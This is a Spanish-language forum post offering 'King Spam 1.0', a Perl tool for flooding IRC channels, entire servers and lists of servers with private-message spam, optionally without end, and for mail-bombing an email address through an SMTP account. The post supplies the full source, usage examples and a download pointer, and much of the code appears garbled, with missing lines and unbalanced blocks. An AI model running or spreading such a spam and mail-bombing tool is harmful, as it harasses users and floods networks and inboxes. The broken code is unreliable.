Tiene las siguientes opciones :
- Spammear un canal normalmente o por siempre
- Spammear un servidor entero
- Spammear una lista de servidores y todos sus canales
- Poder elegir un nick para el bot y un timeout
- Permite spammear cuentas de correo
El codigo :
Código
#!usr/bin/perl #King Spam 1.0 #(C) Doddy Hackman 2015 # SMTP Servers #smtp.gmail.com - 465 #smtp.mail.yahoo.com -587 use IO::Socket; use Color::Output; Color::Output::Init; use Getopt::Long; #use Win32::OLE; my $nick_secundario = "Cl4ptr4p"; my $timeout_secundario = "5"; GetOptions( "get_channels=s" => \$get_channels, "get_users=s" => \$get_users, "spam_channel=s" => \$spam_channel, "spam_channel_forever=s" => \$spam_channel_forever, "spam_server=s" => \$spam_server, "spam_servers_file=s" => \$spam_servers_file, "spam_targets=s" => \$spam_targets, "spam_file=s" => \$spam_file, "channel=s" => \$channel, "port=s" => \$port, "nick=s" => \$nick, "savefile=s" => \$file, "timeout=s" => \$timeout, "mailbomber" => \$mailbomber ); head(); if ($get_channels) { my $port_now = ""; my $nick_now = ""; my $file_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$file ) { $file_now = ""; } else { $file_now = $file; } listar_canales( $get_channels, $port_now, $nick_now, $file_now ); } elsif ($get_users) { my $port_now = ""; my $nick_now = ""; my $file_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } printear_titulo("[+] Serching users ...\n\n"); my @usuarios = buscar_usuarios( $get_users, $port_now, $nick_now, $channel ); printear("[-] Users not found\n"); } else { printear("[+] Users Found : "); for my $usuario (@usuarios) { printear("[+] User : "); savefile( $file, $usuario ); } } } elsif ($spam_channel) { my $port_now = ""; my $nick_now = ""; my $timeout_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$timeout ) { $timeout_now = $timeout_secundario; } else { $timeout_now = $timeout; } spam_canal( $spam_channel, $port_now, $nick_now, $channel, $spam_file, $timeout_now ); } elsif ($spam_channel_forever) { my $port_now = ""; my $nick_now = ""; my $timeout_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$timeout ) { $timeout_now = $timeout_secundario; } else { $timeout_now = $timeout; } spam_canal_forever( $spam_channel_forever, $port_now, $nick_now, $channel, $spam_file, $timeout_now ); } elsif ($spam_server) { my $port_now = ""; my $nick_now = ""; my $timeout_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$timeout ) { $timeout_now = $timeout_secundario; } else { $timeout_now = $timeout; } my @encontrados = buscar_canales( $spam_server, $port_now, $nick_now ); for my $encontrado (@encontrados) { if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) { my $canal = $1; my $cantidad = $2; spam_canal( $spam_server, $port_now, $nick_now, $canal, $spam_file, $timeout_now ); } } } elsif ($spam_servers_file) { my $port_now = ""; my $nick_now = ""; my $timeout_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$timeout ) { $timeout_now = $timeout_secundario; } else { $timeout_now = $timeout; } unless ( -f $spam_servers_file ) { printear("[-] File not found\n\n"); copyright(); } else { my @lista = loadfile($spam_servers_file); printear("[+] Servers Found : "); printear_titulo( "\n-------------------------------------------------------------\n" ); for my $spam_server (@lista) { my @encontrados = buscar_canales( $spam_server, $port_now, $nick_now ); for my $encontrado (@encontrados) { if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) { my $canal = $1; my $cantidad = $2; spam_canal( $spam_server, $port_now, $nick_now, $canal, $spam_file, $timeout_now ); printear_titulo( "\n-------------------------------------------------------------\n" ); } } } } } elsif ($spam_targets) { my $port_now = ""; my $nick_now = ""; my $timeout_now = ""; if ( !$port ) { $port_now = "6667"; } else { $port_now = $port; } if ( !$nick ) { $nick_now = $nick_secundario; } else { $nick_now = $nick; } if ( !$timeout ) { $timeout_now = $timeout_secundario; } else { $timeout_now = $timeout; } if ( -f $spam_targets ) { my @datos = loadfile($spam_targets); printear("[+] Servers Found : "); printear_titulo( "\n-------------------------------------------------------------\n" ); for my $dato (@datos) { if ( $dato =~ /(.*) --- (.*)/ ) { my $server = $1; my $canal = $2; spam_canal( $server, $port_now, $nick_now, $canal, $spam_file, $timeout_now ); printear_titulo( "\n-------------------------------------------------------------\n" ); } } } else { printear("\n[-] File not Found\n\n"); copyright(); } } elsif ($mailbomber) { printear_titulo("[+] Spam Mails : OK\n\n\n"); printear("[+] Host : "); printear("\n[+] Port : "); printear("\n[+] Username : "); printear("\n[+] Password : "); printear("\n[+] Count Message : "); printear("\n[+] To : "); printear("\n[+] Subject : "); printear("\n[+] Body : "); printear("\n[+] File to Send : "); printear_titulo("\n[+] Starting ...\n\n"); for my $num ( 1 .. $count ) { printear("[+] Sending Message : "); sendmail( $host, $puerto, $username, $password, $username, $username, $username, $to, $asunto, $body, $file ); } printear_titulo("\n[+] Finished\n"); } else { sintax(); } copyright(); # Functions sub spam_canal { my $hostname = $_[0]; my $port = $_[1]; my $nombre = $_[2]; my $canal = $_[3]; my $archivo = $_[4]; printear("[+] Connecting to "); my @nicks = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] ); my $contador = 0; my $termine = 0; my $timeout = $_[5]; my @spamnow = loadfile($archivo); if ( my $socket = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, Proto => "tcp" ) ) { printear_titulo("[+] Users Found : "); while ( my $log = <$socket> ) { if ( $log =~ /^PING(.*)$/i ) { } if ( $contador eq "0" ) { printear("[+] Spam in channel : "); $contador++; } foreach $names (@nicks) { unless ( $nombre eq $names ) { $names =~ s/\@//; $names =~ s/\+//; printear("[+] Spam to user $names : "); } $termine++; } $socket->close(); last; } } } else { printear("[-] Error\n"); $socket->close(); } } sub spam_canal_forever { my $hostname = $_[0]; my $port = $_[1]; my $nombre = $_[2]; my $canal = $_[3]; my $archivo = $_[4]; printear("[+] Connecting to "); my @nicks = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] ); my $contador = 0; my $termine = 0; my $timeout = $_[5]; my @spamnow = loadfile($archivo); if ( my $socket = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, Proto => "tcp" ) ) { printear_titulo("[+] Users Found : "); while ( my $log = <$socket> ) { while (1) { if ( $log =~ /^PING(.*)$/i ) { } if ( $contador eq "0" ) { printear("[+] Spam in channel : "); $contador++; } foreach $names (@nicks) { unless ( $nombre eq $names ) { $names =~ s/\@//; $names =~ s/\+//; print $socket "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n"; printear("[+] Spam to user $names : "); } $termine++; } $contador = 0; } $socket->close(); last; } } } else { printear("[-] Error\n"); $socket->close(); } } sub buscar_usuarios { my $hostname = $_[0]; my $port = $_[1]; my $nombre = $_[2]; my $canal = $_[3]; if ( my $socket = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, Proto => "tcp" ) ) { while ( my $log = <$socket> ) { if ( $log =~ /^PING(.*)$/i ) { } if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) { my $pro = $4; $pro =~ s/$nombre//; $socket->close(); } } } } sub buscar_canales { my @resultado; my $hostname = $_[0]; my $port = $_[1]; my $nombre = $_[2]; if ( my $socket = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, Proto => "tcp" ) ) { while ( my $log = <$socket> ) { if ( $log =~ /322 (.*?) (.*?) (.*?) :/ ) { my $canal = $2; my $cantidad = $3; } if ( $log =~ /:End of \/LIST/ ) { last; } } $socket->close; } } sub listar_canales { my $host = $_[0]; my $port = $_[1]; my $nick = $_[2]; my $file = $_[3]; printear_titulo("[+] Serching channels ...\n\n"); my @encontrados = buscar_canales( $host, $port, $nick ); printear_titulo("[-] Channels not found\n"); } else { printearf_titulo( "Channels", "Users" ); for my $encontrado (@encontrados) { if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) { my $canal = $1; my $cantidad = $2; printearf( $canal, $cantidad ); if ( $file ne "" ) { savefile( $file, $canal ); } } } } } sub sendmail { ## Function Based on : http://code.activestate.com/lists/pdk/5351/ ## Credits : Thanks to Phillip Richcreek and Eric Promislow my ( $host, $port, $username, $password, $from, $cc, $bcc, $to, $asunto, $mensaje, $file ) = @_; $correo = Win32::OLE->new('CDO.Message'); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusername', $username ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendpassword', $password ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpserverport', $port ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 ); $correo->Configuration->Fields->SetProperty( "Item", 'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 ); $correo->Configuration->Fields->Update(); if ( -f $file ) { $correo->AddAttachment($file); } $correo->{From} = $from; $correo->{CC} = $cc; $correo->{BCC} = $bcc; $correo->{To} = $to; $correo->{Subject} = $asunto; $correo->{TextBody} = $mensaje; $correo->Send(); } # More Functions sub printearf_titulo { cprintf( "\x0310" . "%-32s %s" . "\x030\n", $_[0], $_[1] ); } sub printearf { cprintf( "\x036" . "%-32s %s" . "\x030\n", $_[0], $_[1] ); } sub printear { cprint( "\x036" . $_[0] . "\x030" ); } sub printear_logo { cprint( "\x037" . $_[0] . "\x030" ); return "" } sub printear_titulo { cprint( "\x0310" . $_[0] . "\x030" ); } sub savefile { close SAVE; } sub loadfile { if ( -f $_[0] ) { my @words; my @r; @words = <FILE>; close FILE; for (@words) { } } else { printear("\n[-] File not found\n\n"); copyright(); } } sub sintax { printear("[+] Sintax : "); printear("\n[+] Options : \n\n"); "-get_channels <host> -port <port> -nick <nick> -savefile <file> : Get & Save Channels of a server\n"; "-get_users <host> -port <port> -channel <channel> -nick <nick> -savefile <file> : Get & Save Channels of a server\n"; "-spam_channel <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel\n"; "-spam_channel_forever <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel Forever\n"; "-spam_server <host> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a server\n"; "-spam_servers_list <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in multiple servers\n"; "-spam_targets <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in servers & channels saved\n"; printear("\n[+] Example : \n\n"); "perl kingspam.pl -spam_channel localhost -channel #locos -spam_file c:/spam.txt\n"; "perl kingspam.pl -spam_channel_forever localhost -channel #locos -spam_file c:/spam.txt\n"; "perl kingspam.pl -spam_servers_file c:/servers.txt -nick ClapTrap -spam_file c:/spam.txt\n"; "perl kingspam.pl -spam_targets c:/servers.txt -spam_file c:/spam.txt\n"; } sub head { printear_logo("\n-- == KingSpam 1.0 == --\n\n\n"); } sub copyright { printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n"); } # The End ?
Un video con ejemplos de uso :
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge.